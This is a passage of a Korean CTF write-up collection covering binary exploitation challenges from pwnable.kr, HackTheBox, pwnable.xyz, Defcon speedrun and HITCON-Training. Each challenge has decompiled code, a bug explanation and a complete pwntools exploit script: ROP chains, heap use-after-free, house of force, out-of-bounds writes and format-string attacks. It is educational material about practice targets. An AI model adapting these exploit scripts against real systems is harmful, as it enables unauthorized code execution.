  return read(0, &buf, 1295uLL);
}

내 원래 익스 시나리오는 sleep@got 1바이트 syscall로 덮고 아무거나 leak해주고 main에 입력받는 곳으로 리턴해주고 원샷 날리려는 시나리오였는데 립씨 릭하고 다 했는데 메인에서 원샷 안먹는다 ㅡㅡ 화난다 정말 매우 화난다 ㅎㅎ..

그래서 다른 방법으로 rax 컨트롤해서 execve 로 풀었다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

def chain(r12,r13,r14,r15,ret):
	c = p64(0) # rsp + 8
	c += p64(0) # rbx
	c += p64(1) # rbp
	c += p64(r12) # call
	c += p64(r13) # edi
	c += p64(r14) # rsi
	c += p64(r15) # rdx
	c += p64(ret)
	return c

s = ssh("unexploitable", "pwnable.kr", port=2222, password="guest")
e = ELF('./unexploitable')
p = s.process('./unexploitable')
libc = e.libc
csu_call = 0x00000000004005D0
csu_pop = 0x00000000004005E6
syscall = 0x0000000000400560

payload = 'A'*24
payload += p64(csu_pop)
payload += chain(e.got['read'],0,e.bss()+0x100,10,csu_call)
payload += chain(e.got['read'],0,e.got['sleep'],1,csu_call)
payload += chain(e.got['read'],0,e.bss(),59,csu_call)
payload += chain(e.got['sleep'],e.bss()+0x100,0,0,csu_call)
p.send(payload)
sleep(3)

p.sendline('/bin/sh\x00')
p.send('\xee')
p.send('A'*59)

p.interactive()

[HackTheBox]ropmev2

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char **v3; // rdx
  char *buf[26]; // [rsp+0h] [rbp-D0h]

  sub_401213();
  printf("Please dont hack me\n", buf);
  read(0, buf, 500uLL);
  if ( !strcmp("DEBUG\n", buf) )
  {
    printf("I dont know what this is %p\n", buf);
    main("I dont know what this is %p\n", buf, v3);
  }
  sub_401238(buf);
  return 0LL;
}

buf주소도 주는데 별로 쓸 필요없다. 다른 익스 방법이 있는건지 모르겠다.

buf에 \x00 으로 문자열 끝이라고 인식하게 한 다음에 sub_401238 함수 우회해주면 된다.

저기서 서버에서 사용하는 쉘이 /bin/sh 쉘이 아니라서 좀 애먹었다. 서버에서는 /bin/bash로 쉘 따야 권한 얻을 수 있다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./ropmev2')
p = process('./ropmev2')
#libc = e.libc
prdi = 0x000000000040142b #pop rdi ; ret
prsi_r15 = 0x0000000000401429 # pop rsi ; pop r15 ; ret
prdx_r13 = 0x0000000000401164 # pop rdx ; pop r13 ; ret
prax = 0x0000000000401162 # pop rax ; ret
main = 0x000000000040116B

payload = '\x00' * 0xd0 + 'realsung'
payload += p64(prdi) + p64(0) + p64(prsi_r15) + p64(e.bss() + 0x100) + p64(0) + p64(prdx_r13) + p64(15) + p64(0) + p64(e.plt['read'])
payload += p64(prax) + p64(59) + p64(prdi) + p64(e.bss() + 0x100) + p64(prsi_r15) + p64(0) + p64(0) + p64(prdx_r13) + p64(0) + p64(0) + p64(0x0000000000401168)
p.sendlineafter('me\n',payload)

p.sendline('/bin/bash\x00')

p.interactive()

[HackTheBox]Ropme

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-40h]

  puts("ROP me outside, how 'about dah?");
  fflush(stdout);
  fgets(&s, 500, stdin);
  return 0;
}

너무 쉬움

exploit.py

from pwn import *

e = ELF('./ropme')
#p = process('./ropme')
#p = remote()
libc = e.libc

payload = 'A'*0x40
payload += 'realsung'
payload += p64(0x00000000004006d3) + p64(e.got['puts']) + p64(e.plt['puts'])
payload += p64(e.symbols['main'])

p.sendlineafter('?\n',payload)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.symbols['puts']
p.sendlineafter('?\n','A'*0x48 + p64(libc_base + 0x45216))

p.interactive()

[HackTheBox]Little Tommy

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // [esp+2h] [ebp-112h]
  char v4; // [esp+3h] [ebp-111h]
  signed int v5; // [esp+4h] [ebp-110h]
  signed int v6; // [esp+4h] [ebp-110h]
  char input; // [esp+8h] [ebp-10Ch]
  unsigned int v8; // [esp+108h] [ebp-Ch]
  int *v9; // [esp+10Ch] [ebp-8h]

  v9 = &argc;
  v8 = __readgsdword(0x14u);
  puts("\n#################### Welcome to Little Tommy's Handy yet Elegant and Advanced Program ####################");
  while ( 1 )
  {
    printf(
      "\n"
      "1. Create account\n"
      "2. Display account\n"
      "3. Delete account\n"
      "4. Add memo\n"
      "5. Print flag\n"
      "\n"
      "Please enter an operation number: ");
    v3 = getchar();
    do
      v4 = getchar();
    while ( v4 != '\n' && v4 != -1 );
    switch ( v3 )
    {
      case '1':
        main_account = (char *)malloc(72u);
        printf("\nFirst name: ");
        fgets(&input, 256, _bss_start);
        strncpy(main_account, &input, 30u);
        v5 = strlen(main_account);
        if ( v5 > 30 )
          main_account[31] = 0;
        else
          main_account[v5 - 1] = 0;
        printf("Last name: ");
        fgets(&input, 256, _bss_start);
        strncpy(main_account + 32, &input, 30u);
        v6 = strlen(main_account + 32);
        if ( v6 > 30 )
          main_account[63] = 0;
        else
          main_account[v6 + 31] = 0;
        printf("\nThank you, your account number %d.\n", main_account);
        break;
      case '2':
        if ( main_account )
          printf(
            "\n################ Account no. %d ################\nFirst name: %s\nLast name: %s\nAccount balance: %d\n\n",
            main_account,
            main_account,
            main_account + 32,
            *((_DWORD *)main_account + 16));
        else
          puts("\nSorry, no account found.");
        break;
      case '3':
        if ( main_account )
        {
          free(main_account);
          puts("\nAccount deleted successfully");
        }
        else
        {
          puts("\nSorry, no account found.");
        }
        break;
      case '4':
        puts("\nPlease enter memo:");
        fgets(&input, 256, _bss_start);
        memo = (int)strdup(&input);
        printf("\nThank you, please keep this reference number number safe: %d.\n", memo);
        break;
      case '5':
        if ( main_account && *((_DWORD *)main_account + 16) == 'kcuf' )
          system("/bin/cat flag");
        else
          puts("\nNope.");
        break;
      default:
        continue;
    }
  }
}

malloc() -> free() -> strdup() 이런식으로 이루어진다.

case ‘5’를 만족시켜야하는데 main_account에 값이 존재하려면 우선 1번으로 create해줘야한다. 2번 메뉴로 봤을 때 Account balance 의 값이 0인데 이를 1801680230 즉 fuck 으로 맞춰야한다.

free후에 여기서 strdup을 해주면 또 strdup 내부에 malloc함수가 존재해서 문자열 사이즈만큼 할당해주니까 main_account를 덮을 수 있다. main_account + 64 뒤 4바이트를 fuck 으로 맞춰주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./little_tommy')
p = process('./little_tommy')
libc = e.libc

p.sendline('1')
p.sendline('A')
p.sendline('B')
p.sendline('3')
p.sendline('4')
p.sendline('A'*64+'fuck')
p.sendline('5')

p.interactive()

2019 Defcon CTF speedrun-010

보호기법은 다 걸려있는 64비트 바이너리다.

[*] '/vagrant/ctfs/speedrun-010'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

name과 msg는 5개까지 만들 수 있다. 1,2번 메뉴는 할당해주고 뭐 등등 하고 3,4번 메뉴는 각각 free해준다.

unsigned __int64 sub_8BC()
{
  __int64 v0; // rsi
  char buf; // [rsp+7h] [rbp-29h]
  int v3; // [rsp+8h] [rbp-28h]
  int v4; // [rsp+Ch] [rbp-24h]
  ssize_t v5; // [rsp+10h] [rbp-20h]
  char *v6; // [rsp+18h] [rbp-18h]
  char *v7; // [rsp+20h] [rbp-10h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v3 = 0;
  v4 = 0;
  while ( 1 )
  {
    sub_89D();
    v5 = read(0, &buf, 1uLL);
    if ( v5 != 1 )
      break;
    switch ( buf )
    {
      case 49:
        if ( v4 > 5 )
          return __readfsqword(0x28u) ^ v8;
        ++v4;
        puts("Need a name");
        v7 = (char *)malloc(0x30uLL);
        read(0, v7 + 8, 0x17uLL);
        v7[31] = 0;
        *((_QWORD *)v7 + 4) = &puts;
        qword_202080[v4 - 1] = v7;
        break;
      case 50:
        if ( v3 > 5 )
          return __readfsqword(0x28u) ^ v8;
        ++v3;
        puts("Need a message");
        v6 = (char *)malloc(0x30uLL);
        v0 = (__int64)(v6 + 16);
        read(0, v6 + 16, 0x18uLL);
        v6[40] = 0;
        (*((void (__fastcall **)(signed __int64, __int64))qword_202080[v4 - 1] + 4))(
          (signed __int64)qword_202080[v4 - 1] + 8,
          v0);
        *((_QWORD *)v6 + 1) = &puts;
        (*((void (__fastcall **)(const char *))v6 + 1))(" says ");
        (*((void (__fastcall **)(char *))v6 + 1))(v6 + 16);
        (*((void (__fastcall **)(const char *))v6 + 1))("\n");
        *(_QWORD *)v6 = qword_202080[v4 - 1];
        qword_202040[v3 - 1] = v6;
        break;
      case 51:
        if ( !v4 )
          return __readfsqword(0x28u) ^ v8;
        free(qword_202080[v4 - 1]);
        break;
      default:
        if ( buf != 52 || !v3 )
          return __readfsqword(0x28u) ^ v8;
        free(qword_202040[v3-- - 1]);
        break;
    }
  }
  return __readfsqword(0x28u) ^ v8;
}

UAF가 터진다. name이랑 msg를 0x30만큼 똑같은 크기를 자유롭게 할당하고 해제할 수 있다.

함수 포인터로 puts가 저장되서 heap영역에 puts의 주소가 저장되어있다. 그래서 leak이 가능하다.

puts 위치에 system을 쓰고 인자에는 /bin/sh\x00 넣어서 쉘을 띄워주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)

def name(name):
	sa('5\n','1')
	sa('name',name)

def msg(msg):
	sa('5\n','2')
	sa('message',msg)

def free_name():
	sa('5\n','3')

def free_msg():
	sa('5\n','4')

if __name__ == '__main__':
	e = ELF('./speedrun-010')
	p = process('./speedrun-010')
	libc = e.libc

	name('A')
	free_name()
	msg('B')
	msg('C')
	libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']
	log.info('libc_base : ' + hex(libc_base))
	
	name('/bin/sh\x00')
	free_name()
	msg(p64(libc_base + libc.symbols['system'])*3)
	#raw_input()
	p.interactive()

[pwnable.xyz]note

메인은 print_menu해주고 0번은 종료 1번은 edit_note() 2번은 edit_desc() 해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup();
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v3 = read_int32();
        if ( v3 != 1 )
          break;
        edit_note();
      }
      if ( v3 != 2 )
        break;
      edit_desc();
    }
    if ( !v3 )
      break;
    puts("Invalid");
  }
  return 0;
}

edit_note는 원하는 사이즈만큼 받아서 전역변수 s에 값을 넣어줄 수 있다.

void edit_note()
{
  int size; // ST04_4
  void *buf; // ST08_8

  printf("Note len? ");
  size = read_int32();
  buf = malloc(size);
  printf("note: ");
  read(0, buf, size);
  strncpy(s, buf, size);
  free(buf);
}

edit_desc는 전역변수 buf에 입력을 받는다.

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(32uLL);
  printf("desc: ");
  return read(0, buf, 32uLL);
}

edit_note 에서 전역변수 s에 값을 넣을 때 buf 영역을 덮을 수 있다. 여기서 buf 영역을 어떤 함수의 got로 덮고 edit_desc 에서 win 함수 주소 넣어주면 해당 함수를 실행할 때 win 함수가 호출될 것이다.

exploit.py

from pwn import *

def edit_note(length,content):
	sla('>','1')
	sla('?',str(length))
	sa(':',content)

def edit_desc(content):
	sla('>','2')
	sa(':',content)

if __name__ == '__main__':
	e = ELF('./challenge')
	#p = process('./challenge')
	p = remote('svc.pwnable.xyz',30016)
	sla = lambda x,y : p.sendlineafter(x,y)
	sa = lambda x,y : p.sendafter(x,y)

	edit_note(50,"A"*0x20 + p64(e.got['puts']))
	edit_desc(p64(e.symbols['win']))
	p.sendlineafter('>','3')
	p.interactive()

[pwnable.xyz]two targets

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  int v4; // eax
  char s; // [rsp+10h] [rbp-40h]
  __int64 v6; // [rsp+30h] [rbp-20h]
  char *v7; // [rsp+40h] [rbp-10h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup();
  v3 = 0LL;
  memset(&s, 0, 56uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v4 = read_int32();
      if ( v4 != 2 )
        break;
      printf("nationality: ", v3);
      v3 = &v6;
      __isoc99_scanf("%24s", &v6);
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        printf("age: ", v3);
        v3 = v7;
        __isoc99_scanf("%d", v7);
      }
      else if ( v4 == 4 )
      {
        if ( auth(&s) )
          win();
      }
      else
      {
LABEL_14:
        puts("Invalid");
      }
    }
    else
    {
      if ( v4 != 1 )
        goto LABEL_14;
      printf("name: ", v3);
      v3 = &s;
      __isoc99_scanf("%32s", &s);
    }
  }
}

auth() 함수로 win() 함수 실행시키면 된다.

_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; i <= 31; ++i )
    s1[i] = ((*(a1 + i) >> 4) | 16 * *(a1 + i)) ^ *(main + i);
  return strncmp(s1, &s2, 0x20uLL) == 0;
}

그냥 s1, s2 비교해서 win() 실행시켜주는데 a1값을 알아야된다. a1으로 오는 인자는 1번 메뉴에서 입력할 때의 값이다.

디컴파일하면 이렇게 되는데 16 * *(a1 + i) 최적화되서 그런거같다. 어셈으로 보면 *(a1 + i) << 4 이거다.

넘 쉬워서 말할거 없다. 그냥 Brute Force로 값 찾았다.

exploit.py

from pwn import *

sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)

def change_name(name):
	sla('>','1')
	sa(':',name)

def change_national(nation):
	sla('>','2')
	sa(':',nation)

def change_age(age):
	sla('>','3')
	sla(':',str(age))


if __name__ == '__main__':
	#context.log_level = 'debug'
	e = ELF('./challenge')
	#p = process('./challenge')
	p = remote('svc.pwnable.xyz',30031)

	s2 = [0x11, 0xDE, 0xCF, 0x10, 0xDF, 0x75, 0xBB, 0xA5, 0x43, 0x1E, 0x9D, 0xC2, 0xE3, 0xBF, 0xF5, 0xD6, 0x96, 0x7F, 0xBE, 0xB0, 0xBF, 0xB7, 0x96, 0x1D, 0xA8, 0xBB, 0x0A, 0xD9, 0xBF, 0xC9, 0x0D, 0xFF, 0x00]
	main_opcode = [85, 72, 137, 229, 72, 131, 236, 80, 100, 72, 139, 4, 37, 40, 0, 0, 0, 72, 137, 69, 248, 49, 192, 232, 36, 254, 255, 255, 72, 141, 69, 192]
	flag = ''
	for i in range(32):
		for j in range(256):
			if ((((j >> 4) | (j << 4)) ^ main_opcode[i]) & 0xff) == s2[i]:
				flag += chr(j)
				break
	log.info('check : ' + flag)
	change_name(flag)
	sla('>','4')

	p.interactive()


또 다른 풀이 방법이 있다.

nation 입력할 때 v6 에서 값을 24까지 입력할 수있는데 v7하고 차이가 18인데 8바이트만큼 더 쓸 수 있어서 v7을 덮을 수 있다.

auth 함수에서 strncmp@got의 주소를 v7에 쓰고 이 got를 age에서 strncmp를 win 으로 덮으면 auth 함수 실행할 때 마다 win 함수가 호출 될 것이다.

exploit.py

from pwn import *

sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)

def change_name(name):
	sla('>','1')
	sa(':',name)

def change_national(nation):
	sla('>','2')
	sa(':',nation)

def change_age(age):
	sla('>','3')
	sla(':',str(age))

if __name__ == '__main__':
	#context.log_level = 'debug'
	e = ELF('./challenge')
	#p = process('./challenge')
	p = remote('svc.pwnable.xyz',30031)

	change_national('A'*16 + p64(e.got['strncmp']))
	change_age(str(e.symbols['win']))
	sla('>','4')
	p.interactive()

[pwnable.xyz]sub

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+0h] [rbp-18h]
  int v5; // [rsp+4h] [rbp-14h]
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  sub_A3E();
  v4 = 0;
  v5 = 0;
  _printf_chk(1LL, "1337 input: ");
  _isoc99_scanf("%u %u", &v4, &v5);
  if ( v4 <= 4918 && v5 <= 4918 )
  {
    if ( v4 - v5 == 4919 )
      system("cat /flag");
  }
  else
  {
    puts("Sowwy");
  }
  return 0LL;
}

그냥 별거 없다. v4, v5가 int라서 4918 -(-1) 해서 4919되서 풀었다.

from pwn import *

p = remote('svc.pwnable.xyz',30001)

p.sendlineafter(':','4918 -1')

print p.recvall()

[pwnable.xyz]misalignment

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-A0h]
  _QWORD v5[3]; // [rsp+18h] [rbp-98h]
  __int64 v6; // [rsp+30h] [rbp-80h]
  __int64 v7; // [rsp+38h] [rbp-78h]
  __int64 v8; // [rsp+40h] [rbp-70h]
  unsigned __int64 v9; // [rsp+A8h] [rbp-8h]
 
  v9 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  memset(&s, 0, 152uLL);
  *(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
  while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= 4294967289 )// v8>=-7
  {
    v5[v8 + 6] = v6 + v7;
    printf("Result: %ld\n", v5[v8 + 6]);
  }
  if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
    win();
  return 0;
}

0xb5, 0x00, 0x00, 0x00, 0xb0, 0x00, 0x00, 0x00, 0x00 이런식으로 리틀엔디안으로 넣어주면 된다.

64비트에서 scanf의 %ld는 2^63 − 1 보다 큰 값이 들어올 경우 2^63-1 이다.

>>> 0xb500000000000000 - 0xffffffffffffffff - 1
-5404319552844595200L

>>> 0x0b000000
184549376

v5[0]에 0xb500000000000000 , v5[1]에 0x0b000000을 넣어주면 된다.

exploit.py

from pwn import *
 
#p= process("./challenge")
p=remote("svc.pwnable.xyz",30003)
 
context.log_level='debug'
 
p.writeline("-5404319552844595200 0 -6")
p.readuntil("Result: ")
p.writeline("184549376 0 -5")
p.readuntil("Result: ")
p.writeline("1 1 1000")
p.interactive()

[pwnable.xyz]add

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  __int64 v4; // [rsp+8h] [rbp-78h]
  __int64 v5; // [rsp+10h] [rbp-70h]
  __int64 v6; // [rsp+18h] [rbp-68h]
  __int64 v7[11]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v8; // [rsp+78h] [rbp-8h]
 
  v8 = __readfsqword(0x28u);
  setup();
  while ( 1 )
  {
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    memset(v7, 0, 80uLL);
    printf("Input: ", argv, v7);
    if ( __isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
      break;
    v7[v6] = v4 + v5;
    argv = v7[v6];
    printf("Result: %ld", argv);
  }
  result = 0;
  __readfsqword(40u);
  return result;
}

v7에서 OOB가 일어난다.

v7의 v6 인덱스에 v4+v5한 값을 넣어주는데 여기서 취약점이 터진다.

v4+v5로 리턴할 위치 잡아주고 v6로 ret에 맞춰주면 된다.

v7의 위치가 rbp-0x60이니까 v6의 인덱스 값을 rbp+0x8로 ret위치로 맞춰주면 된다.

근데 __int64니까 한 인덱스당 8바이트 크기만큼 가질것이다.

0x68 / 8 = 13이니까 v6에는 13값을 넣고 v4 + v5를 win()주소로 바꿔주면 된다. (v4+v5는 %d로 입력받아서 10진수로 넣어주면 된다.

mov    rdx,QWORD PTR [rbp-0x70]
mov    QWORD PTR [rbp+rax*8-0x60],rd

Input : 1094795585(0x4141414141) 0 13 이렇게 넣고 rbp+rax*8-0x60 이후 리턴(rbp+8)의 위치를 보면 잘 들어간걸 알 수 있다.

이제 리턴값도 맞췄겠다 리턴을 해주면 되는데 scanf에서 3이 아니면 break로 빠져나가는 걸 이용하면 된다.

if ( __isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 ) break;

exploit.py

from pwn import *
 
e = ELF('./challenge')
p = remote('svc.pwnable.xyz',30002)
 
p.sendlineafter(': ',str(0x400822) + ' 0  13')
p.sendlineafter(': ','A')
p.interactive()

[pwnable.xyz]Welcome

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rbx
  __int64 v4; // rdx
  char *message; // rbp
  __int64 v6; // rdx
  size_t v7; // rdx
  size_t size; // [rsp+0h] [rbp-28h]
  unsigned __int64 v10; // [rsp+8h] [rbp-20h]
 
  v10 = __readfsqword(0x28u);
  sub_B4E();
  puts("Welcome.");
  v3 = malloc(262144uLL);
  *v3 = 1LL;
  _printf_chk(1LL, "Leak: %p\n", v3);
  _printf_chk(1LL, "Length of your message: ", v4);
  size = 0LL;
  _isoc99_scanf("%lu", &size);
  message = malloc(size);
  _printf_chk(1LL, "Enter your message: ", v6);
  read(0, message, size);
  v7 = size;
  message[size - 1] = 0;
  write(1, message, v7);
  if ( !*v3 )
    system("cat /flag");
  return 0LL;
}

중요한 부분은 if문인데 !*v3가 0이 되도록하면 풀 수 있겠다. 처음에 *v3 = 1 돼있다.

v3를 할당해주고 v3 주소를 Leak 해준다.

메세지를 size만큼 할당하고 그 size만큼 message를 입력받을 수 있다. 근데 message[size - 1]로 마지막 인덱스를 0으로 만들어버리니까 Leak 주소 + 1을 size로 보내면 *v3 = 0으로 되서 풀 수 있다.

exploit.py

from pwn import *
 
e = ELF('./challenge')
p = remote('svc.pwnable.xyz',30000)
 
p.recvuntil('Leak: ')
leak = int(p.recvline(),16)
log.info('leak : ' + hex(leak))
p.sendlineafter(': ',str(leak+1))
p.sendlineafter(': ','Hello World!')
p.interactive()

[pwnable.xyz]GrownUp

setup함수는 설정해주는데 format_ptr로 format들 주소 가르키고 있다.

unsigned int setup()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  signal(14, handler);
  format_ptr = &format1;
  format1 = '%';
  format2 = 's';
  format3 = '\n';
  return alarm(60u);
}

메인은 간단하다. buf가 y인지 입력받고 read로 128바이트 입력받고 strcpy로 usr라는 bss영역에 값을 넣어준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // ST08_8
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  buf = 0LL;
  v6 = 0LL;
  printf("Are you 18 years or older? [y/N]: ", argv);
  *(&buf + (read(0, &buf, 16uLL) - 1)) = 0;
  if ( buf != 'y' && buf != 'Y' )
    return 0;
  src = malloc(132uLL);
  printf("Name: ", &buf);
  read(0, src, 128uLL);
  strcpy(usr, src);
  printf("Welcome ", src);
  printf(format_ptr, usr);                      // %s
  return 0;
}

strcpy할때 \0이 붙어서 1바이트 추가되는 것을 이용하면 된다. read할 때 128만큼 채워주면 뒤에 1바이트 \0이 붙는다. 그거 이용하면 된다. 그러면 format_ptr에서 0x0000000000601160에서 1바이트 더 써지니까 0x0000000000601100이 된다. 그래서 포인터가 0x0000000000601100 주소 가르키니까 포맷스트링이 깨진다. 여기서 FSB이용해서 풀면 된다.

[y/N] 입력받을 때 16만큼 입력받으니까 앞에 y로 맞춰서 return 0 안되도록 하고 data영역에 있는 flag주소를 넣어서 스택에 값을 써준다. 그리고 fsb로 %p로 flag 주소를 찾은 다음에 %s로 출력해주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
#context.log_level = 'debug'
e = ELF('./GrownUpRedist')
#p = process('./GrownUpRedist')
p = remote('svc.pwnable.xyz',30004)
flag= 0x0000000000601080

p.sendafter(':','Y'*8 + p64(flag))

payload = 'AAAAAAAA'
payload += '%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %s'
payload += 'A' * (0x80 - len(payload))
# print len(payload)
p.sendlineafter(':',payload)

p.interactive()

[HITCON-Training]Lab11

checksec은 그냥 pie빼고 다 걸려있다.

bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=595428ebf89c9bf7b914dd1d2501af50d47bbbe1, not stripped

magic함수가 있는데 이거 호출해주면 될거같다.

void __noreturn magic()
{
  int fd; // ST0C_4
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/bamboobox/flag", 0);
  read(fd, &buf, 0x64uLL);
  close(fd);
  printf("%s", &buf);
  exit(0);
}

main 함수를 보면 *v3에 hello_message *v3[1]에 goodbye_message 각각 힙 영역에 저장해둔다.

처음에 hello_message 를 실행해준다. 근데 case 5 보면 (v3[1])(&buf, &buf); 이런게 있는데 여기서 함수 포인터를 magic으로 바꿔서 실행해주면 될거다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = malloc(16uLL);
  *v3 = hello_message;
  v3[1] = goodbye_message;
  (*v3)(16LL, 0LL);
  while ( 1 )
  {
    menu();
    read(0, &buf, 8uLL);
    switch ( atoi(&buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        (v3[1])(&buf, &buf);
        exit(0);
        return;
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

house of force 문제다. 익스 시나리오는 아래와 같다.

  1. add로 할당

32만큼 할당해줬다.

  1. top chunk 덮음

edit에서 heap overflow나서 top chunk header랑 size부분 덮어준다.

  1. add로 main_arena.top 변경

malloc(-88)

  1. add로 goodbye_message 함수 포인터 magic 으로 덮음

  2. 5번 메뉴 호출하면 (v3[1])(&buf, &buf);magic 함수를 가르키고 있어서 magic함수 호출

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./bamboobox')
p = process('./bamboobox')
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
magic = e.symbols['magic']

def show():
	sla(':','1')

def add(length,name):
	sla(':','2')
	sla(':',str(length))
	sa(':',name)

def edit(index,length,name):
	sla(':','3')
	sla(':',str(index))
	sla(':',str(length))
	sa(':',name)

def remove(index):
	sla(':','4')
	sla(':',str(index))

add(32,'AAAA')
edit(0,48,'B'*40 + p64(0xffffffffffffffff)) # top chunk dup
#raw_input()
add(-88,'BBBB')
add(16, p64(magic)*2)
#raw_input()
sla(':','5')

p.interactive()

2019 선린 고등해커 예선 easy_bof

64비트 바이너리고 stripped 돼있다.

so_ezpz: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a533875a3669dbcc27f8121185aaf3171b136021, stripped

보호기법은 다 걸려있다.

[*] '/vagrant/ctfs/so_ezpz'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

메인은 이렇게 되어있는데 stripped돼서 심볼이 없어서 불편했다. do while로 계속 실행해준다.

sub_C33 : 세팅해주는 함수

sub_B00 : 카나리 설정

sub_D30 : 메뉴 출력

sub_D67 : 메뉴 기능들

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  char v5; // [rsp+0h] [rbp-110h]
  __int64 v6; // [rsp+108h] [rbp-8h]

  sub_C33();
  sub_B00(&v6);
  puts("This is warming up! :)");
  v3 = "So ezpzezpz ~~~~~\n";
  puts("So ezpzezpz ~~~~~\n");
  do
  {
    sub_D30(v3);
    v3 = &v5;
  }
  while ( (unsigned int)sub_D67(&v5) );
  return 0LL;
}

sub_C33 함수는 /dev/urandom 으로 8바이트 뽑아와서 0x707070707070707이랑 xor한 후 qword_2020E8 에 Canary로 저장해둔다. 뭐 세팅 해주는 함수인 거 같다.

__int64 sub_C33()
{
  int fd; // ST0C_4
  __int64 result; // rax

  fd = open("/dev/urandom", 0);
  read(fd, &qword_2020E8, 8uLL);
  fflush(stdin);
  fflush(stdout);
  fflush(stderr);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  qword_2020D8 = (__int64)sub_B2C;
  qword_2020E0 = (__int64)sub_BFB;
  result = qword_2020E8 ^ 0x707070707070707LL;
  qword_2020E8 ^= 0x707070707070707uLL;
  return result;
}

여기는 메뉴 기능들 있는 곳이다.

sub_BCA 함수는 입력받고 atoi함수 호출 후 리턴해주는 함수다. 그냥 메뉴 입력받는 곳.

qword_2020D0[v2](a1, v2) 여기서 함수 호출해준다.

int __fastcall sub_D67(__int64 a1)
{
  int result; // eax
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  v2 = sub_BCA();
  if ( v2 > 2 )
    return puts("no no ... :(");
  if ( v2 )
  {
